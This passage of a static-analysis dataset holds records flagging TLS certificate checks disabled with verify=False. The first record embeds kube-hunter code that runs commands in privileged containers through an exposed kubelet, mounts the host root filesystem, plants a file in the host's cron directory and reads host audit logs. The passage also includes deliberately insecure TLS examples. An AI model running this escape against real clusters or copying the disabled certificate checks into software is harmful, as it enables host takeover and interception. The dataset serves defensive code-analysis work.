)\n\n            if temp_message:\n                message = \"The following containers have been successfully breached.\" + temp_message\n\n                self.event.evidence = f\"{message}\"\n\n            if exposed_existing_privileged_containers:\n                self.publish_event(\n                    ExposedExistingPrivilegedContainersViaSecureKubeletPort(\n                        exposed_existing_privileged_containers=exposed_existing_privileged_containers\n                    )\n                )\n\n\n@handler.subscribe(ExposedExistingPrivilegedContainersViaSecureKubeletPort)\nclass MaliciousIntentViaSecureKubeletPort(ActiveHunter):\n    \"\"\"Malicious Intent Via Secure Kubelet Port\n    Attempts to demonstrate that a malicious actor can leverage existing privileged containers\n    exposed via the kubelet's secure port, due to anonymous auth enabled misconfiguration,\n    such that a process can be started or modified on the host.\n    \"\"\"\n\n    def __init__(self, event, seconds_to_wait_for_os_command=1):\n        self.event = event\n        self.base_url = f\"https://{self.event.host}:10250/\"\n        self.seconds_to_wait_for_os_command = seconds_to_wait_for_os_command\n        self.number_of_rm_attempts = 5\n        self.number_of_rmdir_attempts = 5\n        self.number_of_umount_attempts = 5\n\n    def post_request(self, url, params, verify=False):\n        config = get_config()\n        try:\n            response_text = self.event.session.post(\n                url, verify, params=params, timeout=config.network_timeout\n            ).text.rstrip()\n\n            return response_text\n        except Exception as ex:\n            logging.debug(\"Exception: \" + str(ex))\n            return \"Exception: \" + str(ex)\n\n    def cat_command(self, run_request_url, full_file_path):\n        return self.post_request(run_request_url, {\"cmd\": f\"cat {full_file_path}\"})\n\n    def clean_attacked_exposed_existing_privileged_container(\n        self,\n        run_request_url,\n        file_system_or_partition,\n        directory_created,\n        file_created,\n        number_of_rm_attempts,\n        number_of_umount_attempts,\n        number_of_rmdir_attempts,\n        seconds_to_wait_for_os_command,\n    ):\n\n        self.rm_command(\n            run_request_url,\n            f\"{directory_created}/etc/cron.daily/{file_created}\",\n            number_of_rm_attempts,\n            seconds_to_wait_for_os_command,\n        )\n\n        self.umount_command(\n            run_request_url,\n            file_system_or_partition,\n            directory_created,\n            number_of_umount_attempts,\n            seconds_to_wait_for_os_command,\n        )\n\n        self.rmdir_command(\n            run_request_url,\n            directory_created,\n            number_of_rmdir_attempts,\n            seconds_to_wait_for_os_command,\n        )\n\n    def check_file_exists(self, run_request_url, file):\n        file_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=file)\n\n        return ProveAnonymousAuth.has_no_error_nor_exception(file_exists)\n\n    def rm_command(self, run_request_url, file_to_remove, number_of_rm_attempts, seconds_to_wait_for_os_command):\n        if self.check_file_exists(run_request_url, file_to_remove):\n            for _ in range(number_of_rm_attempts):\n                command_execution_outcome = self.post_request(run_request_url, {\"cmd\": f\"rm -f {file_to_remove}\"})\n\n                if seconds_to_wait_for_os_command:\n                    time.sleep(seconds_to_wait_for_os_command)\n\n                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)\n                second_check = self.check_file_exists(run_request_url, file_to_remove)\n\n                if first_check and not second_check:\n                    return True\n\n        pod_id = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[1]\n        container_name = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[2]\n        logger.warning(\n            \"kube-hunter: \"\n            + \"POD=\"\n            + pod_id\n            + \", \"\n            + \"CONTAINER=\"\n            + container_name\n            + \" - Unable to remove file: \"\n            + file_to_remove\n        )\n\n        return False\n\n    def chmod_command(self, run_request_url, permissions, file):\n        return self.post_request(run_request_url, {\"cmd\": f\"chmod {permissions} {file}\"})\n\n    def touch_command(self, run_request_url, file_to_create):\n        return self.post_request(run_request_url, {\"cmd\": f\"touch {file_to_create}\"})\n\n    def attack_exposed_existing_privileged_container(\n        self, run_request_url, directory_created, number_of_rm_attempts, seconds_to_wait_for_os_command, file_name=None\n    ):\n        if file_name is None:\n            file_name = \"kube-hunter\" + str(uuid.uuid1())\n\n        file_name_with_path = f\"{directory_created}/etc/cron.daily/{file_name}\"\n\n        file_created = self.touch_command(run_request_url, file_name_with_path)\n\n        if ProveAnonymousAuth.has_no_error_nor_exception(file_created):\n            permissions_changed = self.chmod_command(run_request_url, \"755\", file_name_with_path)\n\n            if ProveAnonymousAuth.has_no_error_nor_exception(permissions_changed):\n                return {\"result\": True, \"file_created\": file_name}\n\n            self.rm_command(run_request_url, file_name_with_path, number_of_rm_attempts, seconds_to_wait_for_os_command)\n\n        return {\"result\": False}\n\n    def check_directory_exists(self, run_request_url, directory):\n        directory_exists = self.ls_command(run_request_url=run_request_url, file_or_directory=directory)\n\n        return ProveAnonymousAuth.has_no_error_nor_exception(directory_exists)\n\n    def rmdir_command(\n        self,\n        run_request_url,\n        directory_to_remove,\n        number_of_rmdir_attempts,\n        seconds_to_wait_for_os_command,\n    ):\n        if self.check_directory_exists(run_request_url, directory_to_remove):\n            for _ in range(number_of_rmdir_attempts):\n                command_execution_outcome = self.post_request(run_request_url, {\"cmd\": f\"rmdir {directory_to_remove}\"})\n\n                if seconds_to_wait_for_os_command:\n                    time.sleep(seconds_to_wait_for_os_command)\n\n                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)\n                second_check = self.check_directory_exists(run_request_url, directory_to_remove)\n\n                if first_check and not second_check:\n                    return True\n\n        pod_id = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[1]\n        container_name = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[2]\n        logger.warning(\n            \"kube-hunter: \"\n            + \"POD=\"\n            + pod_id\n            + \", \"\n            + \"CONTAINER=\"\n            + container_name\n            + \" - Unable to remove directory: \"\n            + directory_to_remove\n        )\n\n        return False\n\n    def ls_command(self, run_request_url, file_or_directory):\n        return self.post_request(run_request_url, {\"cmd\": f\"ls {file_or_directory}\"})\n\n    def umount_command(\n        self,\n        run_request_url,\n        file_system_or_partition,\n        directory,\n        number_of_umount_attempts,\n        seconds_to_wait_for_os_command,\n    ):\n        # Note: the logic implemented proved more reliable than using \"df\"\n        # command to resolve for mounted systems/partitions.\n        current_files_and_directories = self.ls_command(run_request_url, directory)\n\n        if self.ls_command(run_request_url, directory) == current_files_and_directories:\n            for _ in range(number_of_umount_attempts):\n                # Ref: http://man7.org/linux/man-pages/man2/umount.2.html\n                command_execution_outcome = self.post_request(\n                    run_request_url, {\"cmd\": f\"umount {file_system_or_partition} {directory}\"}\n                )\n\n                if seconds_to_wait_for_os_command:\n                    time.sleep(seconds_to_wait_for_os_command)\n\n                first_check = ProveAnonymousAuth.has_no_error_nor_exception(command_execution_outcome)\n                second_check = self.ls_command(run_request_url, directory) != current_files_and_directories\n\n                if first_check and second_check:\n                    return True\n\n        pod_id = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[1]\n        container_name = run_request_url.replace(self.base_url + \"run/\", \"\").split(\"/\")[2]\n        logger.warning(\n            \"kube-hunter: \"\n            + \"POD=\"\n            + pod_id\n            + \", \"\n            + \"CONTAINER=\"\n            + container_name\n            + \" - Unable to unmount \"\n            + file_system_or_partition\n            + \" at: \"\n            + directory\n        )\n\n        return False\n\n    def mount_command(self, run_request_url, file_system_or_partition, directory):\n        # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html\n        return self.post_request(run_request_url, {\"cmd\": f\"mount {file_system_or_partition} {directory}\"})\n\n    def mkdir_command(self, run_request_url, directory_to_create):\n        # Ref: http://man7.org/linux/man-pages/man1/mkdir.1.html\n        return self.post_request(run_request_url, {\"cmd\": f\"mkdir {directory_to_create}\"})\n\n    def findfs_command(self, run_request_url, file_system_or_partition_type, file_system_or_partition):\n        # Ref: http://man7.org/linux/man-pages/man8/findfs.8.html\n        return self.post_request(\n            run_request_url, {\"cmd\": f\"findfs {file_system_or_partition_type}{file_system_or_partition}\"}\n        )\n\n    def get_root_values(self, command_line):\n        for command in command_line.split(\" \"):\n            # Check for variable-definition commands as there can be commands which don't define variables.\n            if \"=\" in command:\n                split = command.split(\"=\")\n                if split[0] == \"root\":\n                    if len(split) > 2:\n                        # Potential valid scenario: root=LABEL=example\n                        root_value_type = split[1] + \"=\"\n                        root_value = split[2]\n\n                        return root_value, root_value_type\n                    else:\n                        root_value_type = \"\"\n                        root_value = split[1]\n\n                        return root_value, root_value_type\n\n        return None, None\n\n    def process_exposed_existing_privileged_container(\n        self,\n        run_request_url,\n        number_of_umount_attempts,\n        number_of_rmdir_attempts,\n        seconds_to_wait_for_os_command,\n        directory_to_create=None,\n    ):\n        if directory_to_create is None:\n            directory_to_create = \"/kube-hunter_\" + str(uuid.uuid1())\n\n        # /proc/cmdline - This file shows the parameters passed to the kernel at the time it is started.\n        command_line = self.cat_command(run_request_url, \"/proc/cmdline\")\n\n        if ProveAnonymousAuth.has_no_error_nor_exception(command_line):\n            if len(command_line.split(\" \")) > 0:\n                root_value, root_value_type = self.get_root_values(command_line)\n\n                # Move forward only when the \"root\" variable value was actually defined.\n                if root_value:\n                    if root_value_type:\n                        file_system_or_partition = self.findfs_command(run_request_url, root_value_type, root_value)\n                    else:\n                        file_system_or_partition = root_value\n\n                    if ProveAnonymousAuth.has_no_error_nor_exception(file_system_or_partition):\n                        directory_created = self.mkdir_command(run_request_url, directory_to_create)\n\n                        if ProveAnonymousAuth.has_no_error_nor_exception(directory_created):\n                            directory_created = directory_to_create\n\n                            mounted_file_system_or_partition = self.mount_command(\n                                run_request_url, file_system_or_partition, directory_created\n                            )\n\n                            if ProveAnonymousAuth.has_no_error_nor_exception(mounted_file_system_or_partition):\n                                host_name = self.cat_command(run_request_url, f\"{directory_created}/etc/hostname\")\n\n                                if ProveAnonymousAuth.has_no_error_nor_exception(host_name):\n                                    return {\n                                        \"result\": True,\n                                        \"file_system_or_partition\": file_system_or_partition,\n                                        \"directory_created\": directory_created,\n                                    }\n\n                                self.umount_command(\n                                    run_request_url,\n                                    file_system_or_partition,\n                                    directory_created,\n                                    number_of_umount_attempts,\n                                    seconds_to_wait_for_os_command,\n                                )\n\n                            self.rmdir_command(\n                                run_request_url,\n                                directory_created,\n                                number_of_rmdir_attempts,\n                                seconds_to_wait_for_os_command,\n                            )\n\n        return {\"result\": False}\n\n    def execute(self, directory_to_create=None, file_name=None):\n        temp_message = \"\"\n\n        for exposed_existing_privileged_containers in self.event.exposed_existing_privileged_containers:\n            pod_namespace = exposed_existing_privileged_containers[\"pod_namespace\"]\n            pod_id = exposed_existing_privileged_containers[\"pod_id\"]\n            container_name = exposed_existing_privileged_containers[\"container_name\"]\n\n            run_request_url = self.base_url + f\"run/{pod_namespace}/{pod_id}/{container_name}\"\n\n            is_exposed_existing_privileged_container_privileged = self.process_exposed_existing_privileged_container(\n                run_request_url,\n                self.number_of_umount_attempts,\n                self.number_of_rmdir_attempts,\n                self.seconds_to_wait_for_os_command,\n                directory_to_create,\n            )\n\n            if is_exposed_existing_privileged_container_privileged[\"result\"]:\n                file_system_or_partition = is_exposed_existing_privileged_container_privileged[\n                    \"file_system_or_partition\"\n                ]\n                directory_created = is_exposed_existing_privileged_container_privileged[\"directory_created\"]\n\n                # Execute attack attempt: start/modify process in host.\n                attack_successful_on_exposed_privileged_container = self.attack_exposed_existing_privileged_container(\n                    run_request_url,\n                    directory_created,\n                    self.number_of_rm_attempts,\n                    self.seconds_to_wait_for_os_command,\n                    file_name,\n                )\n\n                if attack_successful_on_exposed_privileged_container[\"result\"]:\n                    file_created = attack_successful_on_exposed_privileged_container[\"file_created\"]\n\n                    self.clean_attacked_exposed_existing_privileged_container(\n                        run_request_url,\n                        file_system_or_partition,\n                        directory_created,\n                        file_created,\n                        self.number_of_rm_attempts,\n                        self.number_of_umount_attempts,\n                        self.number_of_rmdir_attempts,\n                        self.seconds_to_wait_for_os_command,\n                    )\n\n                    temp_message += \"\\n\\nPod namespace: {}\\n\\nPod ID: {}\\n\\nContainer name: {}\".format(\n                        pod_namespace, pod_id, container_name\n                    )\n\n        if temp_message:\n            message = (\n                \"The following exposed existing privileged containers\"\n                + \" have been successfully abused by starting/modifying a process in the host.\"\n                + temp_message\n            )\n\n            self.event.evidence = f\"{message}\"\n        else:\n            message = (\n                \"The following exposed existing privileged containers\"\n                + \" were not successfully abused by starting/modifying a process in the host.\"\n                + \"Keep in mind that attackers might use other methods to attempt to abuse them.\"\n                + temp_message\n            )\n\n            self.event.evidence = f\"{message}\"\n\n\n@handler.subscribe(ExposedRunHandler)\nclass ProveRunHandler(ActiveHunter):\n    \"\"\"Kubelet Run Hunter\n    Executes uname inside of a random container\n    \"\"\"\n\n    def __init__(self, event):\n        self.event = event\n        self.base_path = f\"https://{self.event.host}:{self.event.port}\"\n\n    def run(self, command, container):\n        config = get_config()\n        run_url = KubeletHandlers.RUN.value.format(\n            pod_namespace=container[\"namespace\"],\n            pod_id=container[\"pod\"],\n            container_name=container[\"name\"],\n            cmd=command,\n        )\n        return self.event.session.post(\n            f\"{self.base_path}/{run_url}\",\n            verify=False,\n            timeout=config.network_timeout,\n        ).text\n\n    def execute(self):\n        config = get_config()\n        r = self.event.session.get(\n            f\"{self.base_path}/\" + KubeletHandlers.PODS.value,\n            verify=False,\n            timeout=config.network_timeout,\n        )\n        if \"items\" in r.text:\n            pods_data = r.json()[\"items\"]\n            for pod_data in pods_data:\n                container_data = pod_data[\"spec\"][\"containers\"][0]\n                if container_data:\n                    output = self.run(\n                        \"uname -a\",\n                        container={\n                            \"namespace\": pod_data[\"metadata\"][\"namespace\"],\n                            \"pod\": pod_data[\"metadata\"][\"name\"],\n                            \"name\": container_data[\"name\"],\n                        },\n                    )\n                    if output and \"exited with\" not in output:\n                        self.event.evidence = \"uname -a: \" + output\n                        break\n\n\n@handler.subscribe(ExposedContainerLogsHandler)\nclass ProveContainerLogsHandler(ActiveHunter):\n    \"\"\"Kubelet Container Logs Hunter\n    Retrieves logs from a random container\n    \"\"\"\n\n    def __init__(self, event):\n        self.event = event\n        protocol = \"https\" if self.event.port == 10250 else \"http\"\n        self.base_url = f\"{protocol}://{self.event.host}:{self.event.port}/\"\n\n    def execute(self):\n        config = get_config()\n        pods_raw = self.event.session.get(\n            self.base_url + KubeletHandlers.PODS.value,\n            verify=False,\n            timeout=config.network_timeout,\n        ).text\n        if \"items\" in pods_raw:\n            pods_data = json.loads(pods_raw)[\"items\"]\n            for pod_data in pods_data:\n                container_data = pod_data[\"spec\"][\"containers\"][0]\n                if container_data:\n                    container_name = container_data[\"name\"]\n                    output = requests.get(\n                        f\"{self.base_url}/\"\n                        + KubeletHandlers.CONTAINERLOGS.value.format(\n                            pod_namespace=pod_data[\"metadata\"][\"namespace\"],\n                            pod_id=pod_data[\"metadata\"][\"name\"],\n                            container_name=container_name,\n                        ),\n                        verify=False,\n                        timeout=config.network_timeout,\n                    )\n                    if output.status_code == 200 and output.text:\n                        self.event.evidence = f\"{container_name}: {output.text}\"\n                        return\n\n\n@handler.subscribe(ExposedSystemLogs)\nclass ProveSystemLogs(ActiveHunter):\n    \"\"\"Kubelet System Logs Hunter\n    Retrieves commands from host's system audit\n    \"\"\"\n\n    def __init__(self, event):\n        self.event = event\n        self.base_url = f\"https://{self.event.host}:{self.event.port}\"\n\n    def execute(self):\n        config = get_config()\n        audit_logs = self.event.session.get(\n            f\"{self.base_url}/\" + KubeletHandlers.LOGS.value.format(path=\"audit/audit.log\"),\n            verify=False,\n            timeout=config.network_timeout,\n        )\n\n        # TODO: add more methods for proving system logs\n        if audit_logs.status_code == requests.status_codes.codes.OK:\n            logger.debug(f\"Audit log of host {self.event.host}: {audit_logs.text[:10]}\")\n            # iterating over proctitles and converting them into readable strings\n            proctitles = []\n            for proctitle in re.findall(r\"proctitle=(\\w+)\", audit_logs.text):\n                proctitles.append(bytes.fromhex(proctitle).decode(\"utf-8\").replace(\"\\x00\", \" \"))\n            self.event.proctitles = proctitles\n            self.event.evidence = f\"audit log: {proctitles}\"\n        else:\n            self.event.evidence = \"Could not parse system logs\"", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 282, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "4e135eb91e74368c4e1bfb493703a3a606b09248e40d5d431cc08f42648ab1b8", "license": {"spdx": ["BSD-2-Clause"], "repo": "timeu/gwaportal-hpc-pipeline", "path": "gwaportal_hpc_pipeline/rest.py", "repo_head_hexsha": "7cda411129a72e83d13f63c3cb8bdc0c032e2e1f", "stack_hexsha": "9cb668e395dc4f4e4c850a63c703d8800f188709", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 14, "entireCode": "import requests\nimport shutil\nimport tempfile\n\nclass Restclient(object):\n\n    def __init__(self,host,username,password):\n        self.host = host\n        self.auth = (username,password)\n\n    def get_phenotype_data(self,studyid):\n        headers = {'Accept':'application/json'}\n        URL = '%s/provider/study/%s/studygwasdata' % (self.host,studyid)\n        r = requests.get(URL,headers=headers,auth=self.auth, verify=False)\n        if r.status_code == 200:\n            return r.json()\n        raise Exception(r.text)\n\n    def get_candidate_genes(self,candidate_gene_id):\n        headers = {'Accept':'application/json'}\n        URL = '%s/provider/candidategenelist/%s/genes' % (self.host,candidate_gene_id)\n        r = requests.get(URL,headers=headers,auth=self.auth, verify=False)\n        if r.status_code == 200:\n            return r.json()\n        raise Exception(r.text)\n", "dangerousExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def violation1():\n6.     requests.request('GET', 'https://example.com', verify=False)\n7. \n8. def violation2():\n9.     ctx3 = ssl.create_default_context()\n10.     ctx3.verify_mode = ssl.CERT_NONE\n11. \n12. def violation3():\n13.     ctx1 = SSL.Context(SSL.TLSv1_2_METHOD)\nLine 6: verify is set to FALSE. So, certificates of the remote server are not validated.\nLine 10: verify_mode is set to ssl.CERT_NONE. So, certificates of the remote server are not validated.\nLine 13: set_verify() function is not used. So, certificates of the remote server are not validated.", "safeExampleEn": "1. import ssl\n2. import requests\n3. from OpenSSL import SSL\n4. \n5. def good1():\n6.     requests.request('GET', 'https://example.com', verify=True)\n7. \n8. def good2():\n9.     ctx = ssl.create_default_context()\n10.     ctx.verify_mode = ssl.CERT_REQUIRED\n11. \n12. def good3():\n13.     ctx = SSL.Context(SSL.TLSv1_2_METHOD)\n14.     ctx.set_verify(SSL.VERIFY_PEER, verify_callback)\n15.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, verify_callback)\n16.     ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT | SSL.VERIFY_CLIENT_ONCE, verify_callback)\nLine 6: Specify a value to verify to validate certificates of the remote server. (default: True)\nLine 10: Set verify_mode to ssl.CERT_REQUIRED to validate certificates of the remote server.\nLine 13: Use set_verify() function to validate certificates of the remote server.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "pythonchk.WEAK_SERVER_CERTIFICATES.PYTHON.defect", "params": {}}]}}
{"id": "e3fb176117d7b330f037a9c0216b3fed14ef6b6ca7259717242c4c7931edbff9", "license": {"spdx": ["BSD-3-Clause"], "repo": "nordme/expyfun", "path": "expyfun/_utils.py", "repo_head_hexsha": "e644bba8cbfb6edd2a076099536417d4854d64af", "stack_hexsha": "9c7c4de6be5e48f9c89afdf0a57351e2ebf01e66", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Weak Server Certificate", "issueDescriptionEn": "The Weak Server Certificate checker finds code that creates SSL/TLS sessions, but fails to validate X.509 certificates, therefore, trusts all certificates.\nThe X.509 certificates cannot pass the validation for using psf/requests, ssl standard, or pyca/pyopenssl library.\nIt is required to validate X.509 certificates in order to create secure SSL/TLS sessions which are safe against the MITM(Man in the Middle) attacks.", "issueLineNumber": 527, "entireCode": "\"\"\"Some utility functions\"\"\"\n\n# Authors:  <>\n#\n# License: BSD (3-clause)\n\nimport warnings\nimport operator\nfrom copy import deepcopy\nimport subprocess\nimport importlib\nimport os\nimport os.path as op\nimport inspect\nimport sys\nimport tempfile\nimport ssl\nfrom shutil import rmtree\nimport atexit\nimport json\nfrom functools import partial\nfrom distutils.version import LooseVersion\nfrom numpy import sqrt, convolve, ones\nimport logging\nimport datetime\nfrom timeit import default_timer as clock\nfrom threading import Timer\n\nimport numpy as np\nimport scipy as sp\n\nfrom ._externals import decorator\n\n# set this first thing to make sure it \"takes\"\ntry:\n    import pyglet\n    pyglet.options['debug_gl'] = False\n    del pyglet\nexcept Exception:\n    pass\n\n\n# for py3k (eventually)\nif sys.version.startswith('2'):\n    string_types = basestring  # noqa\n    input = raw_input  # noqa, input is raw_input in py3k\n    text_type = unicode  # noqa\n    from __builtin__ import reload\n    from urllib2 import urlopen  # noqa\n    from cStringIO import StringIO  # noqa\nelse:\n    string_types = str\n    text_type = str\n    from urllib.request import urlopen\n    input = input\n    from io import StringIO  # noqa, analysis:ignore\n    from importlib import reload  # noqa, analysis:ignore\n\n###############################################################################\n# LOGGING\n\nEXP = 25\nlogging.addLevelName(EXP, 'EXP')\n\n\ndef exp(self, message, *args, **kwargs):\n    \"\"\"Experiment-level logging.\"\"\"\n    self.log(EXP, message, *args, **kwargs)\n\n\nlogging.Logger.exp = exp\nlogger = logging.getLogger('expyfun')\n\n\ndef flush_logger():\n    \"\"\"Flush expyfun logger\"\"\"\n    for handler in logger.handlers:\n        handler.flush()\n\n\ndef set_log_level(verbose=None, return_old_level=False):\n    \"\"\"Convenience function for setting the logging level\n\n    Parameters\n    ----------\n    verbose : bool, str, int, or None\n        The verbosity of messages to print. If a str, it can be either DEBUG,\n        INFO, WARNING, ERROR, or CRITICAL. Note that these are for\n        convenience and are equivalent to passing in logging.DEBUG, etc.\n        For bool, True is the same as 'INFO', False is the same as 'WARNING'.\n        If None, the environment variable EXPYFUN_LOGGING_LEVEL is read, and if\n        it doesn't exist, defaults to INFO.\n    return_old_level : bool\n        If True, return the old verbosity level.\n    \"\"\"\n    if verbose is None:\n        verbose = get_config('EXPYFUN_LOGGING_LEVEL', 'INFO')\n    elif isinstance(verbose, bool):\n        verbose = 'INFO' if verbose is True else 'WARNING'\n    if isinstance(verbose, string_types):\n        verbose = verbose.upper()\n        logging_types = dict(DEBUG=logging.DEBUG, INFO=logging.INFO,\n                             WARNING=logging.WARNING, ERROR=logging.ERROR,\n                             CRITICAL=logging.CRITICAL)\n        if verbose not in logging_types:\n            raise ValueError('verbose must be of a valid type')\n        verbose = logging_types[verbose]\n\n    old_verbose = logger.level\n    logger.setLevel(verbose)\n    return (old_verbose if return_old_level else None)\n\n\ndef set_log_file(fname=None,\n                 output_format='%(asctime)s - %(levelname)-7s - %(message)s',\n                 overwrite=None):\n    \"\"\"Convenience function for setting the log to print to a file\n\n    Parameters\n    ----------\n    fname : str, or None\n        Filename of the log to print to. If None, stdout is used.\n        To suppress log outputs, use set_log_level('WARN').\n    output_format : str\n        Format of the output messages. See the following for examples:\n            http://docs.python.org/dev/howto/logging.html\n        e.g., \"%(asctime)s - %(levelname)s - %(message)s\".\n    overwrite : bool, or None\n        Overwrite the log file (if it exists). Otherwise, statements\n        will be appended to the log (default). None is the same as False,\n        but additionally raises a warning to notify the user that log\n        entries will be appended.\n    \"\"\"\n    handlers = logger.handlers\n    for h in handlers:\n        if isinstance(h, logging.FileHandler):\n            h.close()\n        logger.removeHandler(h)\n    if fname is not None:\n        if op.isfile(fname) and overwrite is None:\n            warnings.warn('Log entries will be appended to the file. Use '\n                          'overwrite=False to avoid this message in the '\n                          'future.')\n        mode = 'w' if overwrite is True else 'a'\n        lh = logging.FileHandler(fname, mode=mode)\n    else:\n        \"\"\" we should just be able to do:\n                lh = logging.StreamHandler(sys.stdout)\n            but because doctests uses some magic on stdout, we have to do this:\n        \"\"\"\n        lh = logging.StreamHandler(WrapStdOut())\n\n    lh.setFormatter(logging.Formatter(output_format))\n    # actually add the stream handler\n    logger.addHandler(lh)\n\n\n###############################################################################\n# RANDOM UTILITIES\n\nbuilding_doc = any('sphinx-build' in ((''.join(i[4]).lower() + i[1])\n                                      if i[4] is not None else '')\n                   for i in inspect.stack())\n\n\ndef run_subprocess(command, **kwargs):\n    \"\"\"Run command using subprocess.Popen\n\n    Run command and wait for command to complete. If the return code was zero\n    then return, otherwise raise CalledProcessError.\n    By default, this will also add stdout= and stderr=subproces.PIPE\n    to the call to Popen to suppress printing to the terminal.\n\n    Parameters\n    ----------\n    command : list of str\n        Command to run as subprocess (see subprocess.Popen documentation).\n    **kwargs : objects\n        Keywoard arguments to pass to ``subprocess.Popen``.\n\n    Returns\n    -------\n    stdout : str\n        Stdout returned by the process.\n    stderr : str\n        Stderr returned by the process.\n    \"\"\"\n    # code adapted with permission from mne-python\n    kw = dict(stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n    kw.update(kwargs)\n\n    p = subprocess.Popen(command, **kw)\n    stdout_, stderr = p.communicate()\n\n    output = (stdout_.decode(), stderr.decode())\n    if p.returncode:\n        err_fun = subprocess.CalledProcessError.__init__\n        if 'output' in _get_args(err_fun):\n            raise subprocess.CalledProcessError(p.returncode, command, output)\n        else:\n            raise subprocess.CalledProcessError(p.returncode, command)\n\n    return output\n\n\nclass ZeroClock(object):\n    \"\"\"Clock that uses \"clock\" function but starts at zero on init.\"\"\"\n\n    def __init__(self):\n        self._start_time = clock()\n\n    def get_time(self):\n        \"\"\"Get time.\"\"\"\n        return clock() - self._start_time\n\n\ndef date_str():\n    \"\"\"Produce a date string for the current date and time\n\n    Returns\n    -------\n    datestr : str\n        The date string.\n    \"\"\"\n    return str(datetime.datetime.today()).replace(':', '_')\n\n\nclass WrapStdOut(object):\n    \"\"\"Ridiculous class to work around how doctest captures stdout.\"\"\"\n\n    def __getattr__(self, name):\n        # Even more ridiculous than this class, this must be sys.stdout (not\n        # just stdout) in order for this to work (tested on OSX and Linux)\n        return getattr(sys.stdout, name)\n\n\nclass _TempDir(str):\n    \"\"\"Class for creating and auto-destroying temp dir\n\n    This is designed to be used with testing modules.\n\n    We cannot simply use __del__() method for cleanup here because the rmtree\n    function may be cleaned up before this object, so we use the atexit module\n    instead. Passing del_after and print_del kwargs to the constructor are\n    helpful primarily for debugging purposes.\n    \"\"\"\n\n    def __new__(self, del_after=True, print_del=False):\n        new = str.__new__(self, tempfile.mkdtemp())\n        self._del_after = del_after\n        self._print_del = print_del\n        return new\n\n    def __init__(self):\n        self._path = self.__str__()\n        atexit.register(self.cleanup)\n\n    def cleanup(self):\n        if self._del_after is True:\n            if self._print_del is True:\n                print('Deleting {} ...'.format(self._path))\n            rmtree(self._path, ignore_errors=True)\n\n\ndef check_units(units):\n    \"\"\"Ensure user passed valid units type\n\n    Parameters\n    ----------\n    units : str\n        Must be ``'norm'``, ``'deg'``, or ``'pix'``.\n    \"\"\"\n    good_units = ['norm', 'pix', 'deg']\n    if units not in good_units:\n        raise ValueError('\"units\" must be one of {}, not {}'\n                         ''.format(good_units, units))\n\n\n###############################################################################\n# DECORATORS\n\n# Following deprecated class copied from scikit-learn\n\nclass deprecated(object):\n    \"\"\"Decorator to mark a function or class as deprecated.\n\n    Issue a warning when the function is called/the class is instantiated and\n    adds a warning to the docstring.\n\n    The optional extra argument will be appended to the deprecation message\n    and the docstring. Note: to use this with the default value for extra, put\n    in an empty of parentheses:\n\n    >>> from expyfun._utils import deprecated\n    >>> deprecated() # doctest: +ELLIPSIS\n    \n\n    >>> @deprecated()\n    ... def some_function(): pass\n    \"\"\"\n\n    # Adapted from http://wiki.python.org/moin/PythonDecoratorLibrary,\n    # but with many changes.\n\n    # scikit-learn will not import on all platforms b/c it can be\n    # sklearn or scikits.learn, so a self-contained example is used above\n\n    def __init__(self, extra=''):\n        \"\"\"\n        Parameters\n        ----------\n        extra: string\n          to be added to the deprecation messages\n\n        \"\"\"\n        self.extra = extra\n\n    def __call__(self, obj):\n        \"\"\"Call.\"\"\"\n        if isinstance(obj, type):\n            return self._decorate_class(obj)\n        else:\n            return self._decorate_fun(obj)\n\n    def _decorate_class(self, cls):\n        msg = \"Class %s is 